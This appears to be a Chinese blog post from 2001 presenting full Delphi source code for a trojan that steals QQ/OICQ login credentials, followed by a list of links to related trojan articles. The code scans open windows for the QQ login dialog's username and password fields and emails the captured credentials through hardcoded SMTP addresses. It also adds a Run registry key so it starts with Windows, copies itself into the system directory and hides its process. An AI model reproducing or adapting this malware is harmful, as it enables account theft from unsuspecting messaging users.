OICQ 远程木马的设计技术

原创 2001年06月27日 20:38:00
{
 ****************** OICQ Hack 2001***********
 *
 *     2001 5.22         ver 1.1  Modify for OICQ2000b 0230
 *     2001 5.25         ver 1.2  Modify for QQ2000b 0430
 *     Last updated: 2001.5.25
 *     Author :njhhack
 *             HackSoft Research Lab.
 *     Copyright(C) 2001 Allrigths Reserved.
 *
 *
 **********************************************
}

//---------------下面是oicqhack.dpr工程文件
program oicqhack;

uses
 Windows,
 Messages,
 mainunit in 'mainunit.pas';

 {$R *.RES}

var
 wClass:   TWndClass;  // class struct for main window
 Msg:      TMSG;       // message struct

procedure ShutDown;
begin
 UnRegisterClass(classname,hInst);
 ExitProcess(hInst);   //end program
end;

function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall;
begin
 Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
 case Msg of
 WM_CREATE: wincreate;
 WM_TIMER: ontimer1;
 WM_DESTROY: ShutDown;
 end;
end;

begin
 //如果旧版本已运行,则停止旧版程序,只运行当前新版程序
 hmain:=Findwindow('HackSoft-Oicq-Password-Recoder','OICQ 密码记录器2');
 if hmain<>0 then sendmessage(lp,wm_destroy,0,0);


 hInst:=GetModuleHandle(nil); // get the application instance
 classname:='HackSoft-Oicq-Password-Recoder';
 with wClass do
 begin
   Style:=         CS_PARENTDC;
   hIcon:=         LoadIcon(hInst,'MAINICON');
   lpfnWndProc:=   @WindowProc;
   hInstance:=     hInst;
   hbrBackground:= COLOR_BTNFACE+1;
   lpszClassName:= classname;
   hCursor:=       LoadCursor(0,IDC_ARROW);
 end;
 RegisterClass(wClass);
 hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'OICQ 密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);
 //建立一个新的定时器,用来定时扫描系统中的窗口
 newtime:=SetTimer(hmain,0,300,nil);
 //建立消息循环
 while(GetMessage(Msg,hmain,0,0))do
 begin
   TranslateMessage(Msg);
   DispatchMessage(Msg);
 end;
 //结束定时器
 killtimer(hmain,newtime);
end.

//-------下面是mainunit.pas单元文件

unit mainunit;

interface

uses
 Windows,
 Messages,
 SysUtils,
 Classes,
 winsock,
 registry;
const
 CRLF=#13#10;
var
 spy:string;
 hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer;
 his:array[0..100] of integer;
 syspath:array[0..200] of integer;
 regservice:function(uThread:integer;uType:integer):Integer;stdcall;
 libhandle:thandle;
 classname:array[0..100] of char;
 items:array[0..4] of string;

 err:integer;
 wsadata:twsadata;
 fsocket,fport,step:integer;
 SockAddrIn:TSockAddrIn;
 hackmail,email,newpass,fhost,s1,password:string;
 sbuf:array[0..1024] of char;

procedure winCreate;
procedure OnTimer1;

implementation

//修改注册表让程序自启动
procedure autorun;
var reg:tregistry;
begin
   reg:=tregistry.create;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
   reg.WriteString('oicqpass',spy+'OICQPASS.EXE');
   reg.closekey;
   reg.free;
end;

//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
 err:=recv(FSocket,sbuf,400,0);
 s1:=strpas(sbuf);
 inc(step);
 case step of
   1:s1:='HELO smtp.hacker.com'+CRLF;
   2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
   3:s1:='RCPT TO: <'+email+'>'+CRLF;
   4:s1:='DATA'+CRLF;
   5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
         +'To:"getoicq"<www.password.com>'+CRLF
         +'Subject:QQ2001 Password come.'+CRLF
         +CRLF
         +newpass+CRLF
         +'.'+CRLF;
   6:s1:='QUIT'+CRLF;
 else
   step:=0;
 end;
 strcopy(sbuf,pchar(s1));
 err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
   err:=WSAStartup($0101,WSAData);
   FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
   //利用  smtp.21cn.com  进行发信
   fhost:='202.104.32.230';
   fport:=25;
   SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
   SockAddrIn.sin_family := PF_INET;
   SockAddrIn.sin_port :=htons(Fport);
   err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
     step:=0;
     repeat
       MailSend;
     until step=0;
   err:=closesocket(FSocket);
   err:=WSACleanup;
end;


//窗口枚举函数
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hwold,hs,wlong,hup,i:integer;
   sbuf,sb3,sb2:array[0..256] of char;
   sb1:string;
begin
   hwold:=GetParent(hwnd);
   wlong:=GetWindowLong(hwnd,GWL_STYLE);
   if (wlong and ES_PASSWORD)<>0 then
   begin
       //检查是否OICQ登陆
       hup:=GetParent(hwnd);
       sendmessage(hup,wm_gettext,100,integer(@sbuf));
       strpcopy(sb2,'OICQ 注册向导');
       strpcopy(sb3,'QQ 注册向导');
       if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
       begin
           old:=GetParent(hup);
           old:=GetParent(old);
           old:=GetParent(old);
           start:=0;
           count:=1;
           //items.clear;

           //跳过两个窗口
           hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
           hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
           //取得用户名
           hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
           hw:=GetWindowTextLength(hwnd);
           hs:=integer(@sbuf);
           sendmessage(hwnd,wm_gettext,100,hs);
           items[0]:='用户名:'+strpas(sbuf);
           //取得密码
           hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
           hw:=GetWindowTextLength(hwnd);
           hs:=integer(@sbuf);
           sendmessage(hwnd,wm_gettext,100,hs);
           items[1]:='密码:'+strpas(sbuf);
       end;
       strpcopy(sb2,'OICQ用户登录');
       strpcopy(sb3,'QQ用户登录');
       if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
       begin
           old:=GetParent(hup);
           old:=GetParent(old);
           start:=0;
           count:=1;
           //items.clear;
           //取得用户名
           hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
           hw:=GetWindowTextLength(hwnd);
           hs:=integer(@sbuf);
           sendmessage(hwnd,wm_gettext,100,hs);
           items[0]:='用户名:'+strpas(sbuf);
           //取得密码
           hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
           hw:=GetWindowTextLength(hwnd);
           hs:=integer(@sbuf);
           sendmessage(hwnd,wm_gettext,100,hs);
           items[1]:='密码:'+strpas(sbuf);
       end;
   end;
//检查是否在线
   hw:=GetWindowTextLength(hwnd);
   hs:=integer(@sbuf);
   sendmessage(hwnd,wm_gettext,100,hs);
   strpcopy(sb2,'在线');
   strpcopy(sb3,'隐身');
   if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
   begin
       if hwold=old then
       begin
           if olde<>old then
           begin
               if strcomp(sbuf,sb2)=0 then items[2]:='登录成功:在线'
               else items[2]:='登录成功:隐身';
               items[3]:='       ';
               //密码发回我的邮箱getoicq@21cn.com

               newpass:=format('%s  %s  %s  %s',[items[0],items[1],items[2],items[3],items[4]);
               //
               hackmail:=email;
               sendpass;
               email:='mf001@etang.com';
               sendpass;
               email:=hackmail;

               //密码存盘到oicqpass.dll中

               {
               if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
               else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
               if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
               else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
               fileseek(fhand,0,2);
               strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);
               filewrite(fhand,sbuf,strlen(sbuf));
               fileclose(fhand);
               }
           end;
           olde:=old;
       end;
   end;
   result:=true;
end;

定时器响应函数
procedure OnTimer1;
begin
    lp:=0;
    EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end;
//窗口创建响应函数
procedure winCreate;
var wlong:integer;
s1:string;
s2,s3,sbuf:array[0..300] of char;
i:integer;
osver:TOSVERSIONINFO;
tmp:tmemorystream;
begin
   //取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能
   osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);
   if GetVersionEx(osver)=true then
   begin
       if VER_PLATFORM_WIN32_NT<>osver.dwPlatformId then
       begin
           LibHandle:=LoadLibrary('kernel32.dll');
           if LibHandle<>0 then
           begin
               @regservice:=GetProcAddress(LibHandle, 'RegisterServiceProcess');
               regservice(0,1);//1=hide,0=show;
               FreeLibrary(LibHandle);
           end;
       end;
   end;
   max:=0;
   count:=0;
   将程序复制到系统目录
   s1:=ParamStr(0);
   for i:=0 to length(s1) do s2:=s1[i+1];
   GetSystemDirectory(@syspath,MAX_PATH);
   spy:=strpas(@syspath)+'/';
   s1:=spy+'oicqhack.exe';
   for i:=0 to length(s1) do s3:=s1[i+1];
   copyfile(s2,s3,false);
   //从email.txt中找到目标e-mail信箱
   if fileexists('c:/email.txt')=false then
   begin
     email:='getoicq@21cn.com';
   end else
   begin
     tmp:=tmemorystream.create;;
     tmp.loadfromfile('c:/email.txt');
     count:=tmp.size;
//      strcopy(sbuf,pchar(''));
     tmp.read(sbuf,count);
     tmp.free;
     email:='';
     for step:=0 to count-1 do email:=email+sbuf[step];
     strcopy(sbuf,pchar(email));
//      messagebox(0,sbuf,'',0);
   end;
   count:=0;
   step:=0;
   //修改注册表使程序自启动
   autorun;
end;

end.


/////////////////////////////////////////////////////////
             --------倪建华---------------
               HackSoft Research Lab.
       Copyright(C) 2001 Alrights reserved.

WINDOWS系统下木马程序的设计与实现

http://www.e-works.net.cn/ewk2004/ewkArticles/509/Article14881.htm引言 近年来,黑客攻击层出不穷,对网络安全构成了极大的威胁。木...
  • ackhqiu
  • ackhqiu
  • 2005年02月17日 10:35
  • 3182

公开OICQ所有通讯协议

公开OICQ所有通讯协议 作者:腾讯发布日期:2002-3-2上传日期:2002-3-10来源:OICQ服务器 OICQ服务器系统通讯协议 协议说明: 协议由报文头(T)+发送者(T)+接收者(T)+...
  • benlee
  • benlee
  • 2004年09月20日 08:48
  • 764

木马技术

之前讲过几种网络攻击技术,攻击成功之后自然就要实现对目标主机的入侵,这个时候就需要借助木马来实现,对于web服务器可以借助webshell来进行远程控制,说木马这个东西吧,主要还是通过诱骗的形式进行安...
  • ShaoqunLiu
  • ShaoqunLiu
  • 2016年08月28日 19:46
  • 898

详细讲解黑客常用的远程控制木马

  Normal 0 7.8 磅 0
  • yakoo5
  • yakoo5
  • 2009年11月26日 23:49
  • 11765

细说Wannacry勒索软件所使用的木马技术

已经发表于freebuf: (   http://www.freebuf.com/column/134855.html) 5月12日晚突然爆发的Wannacry勒索病毒给人们也给...
  • basketwill
  • basketwill
  • 2017年05月22日 16:39
  • 512

【以太网数据包】OICQ数据包(QQ)

【以太网数据结构】系列文章链接 http://blog.csdn.net/u012819339/article/category/5849175OICQ数据包格式协议字段解释: 标识:固定为0x...
  • u012819339
  • u012819339
  • 2015年12月21日 20:22
  • 2633

DLL木马远程注入过程

写一个木马挂载程序,听起来似乎很玄,其实也很简单,本文将告诉你怎样用Visual C++实现一个侵入木马的程序。本文主要涉及动态链接库(DLL)木马,目前相当多数的木马病毒都以这种方式被加载。 DL...
  • jiayanhui2877
  • jiayanhui2877
  • 2012年11月02日 00:05
  • 3489

远程IPC种植木马

要实现代码如下: ///////////////////////////////////////////////////////////////////////////////////// type...
  • QQ1084283172
  • QQ1084283172
  • 2015年08月23日 18:53
  • 1373

浅析木马服务端的生成技术

  有些木马在解压缩之后只会有一个客户端程序,用户可以通过在客户端的一些设置工作来自动生成针对性比较强的服务端程序,例如特定的端口、击键木马的邮件地址、密码、SMTP服务器等等。在本文中,我将简要地探...
  • titilima
  • titilima
  • 2004年06月07日 09:49
  • 2211

汇编实现木马生成技术

文章作者:asm[C.R.S.T]信息来源:邪恶八进制信息安全团队此文章仅作技术研究之用,请勿用于非法用途,由此带来的一切后果自负。与作者和邪恶八进制无关! 注:代码采用MASM32格式编写,全部测试...
  • iiprogram
  • iiprogram
  • 2007年04月25日 16:45
  • 1557
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:OICQ 远程木马的设计技术
举报原因:
原因补充:

(最多只允许输入30个字)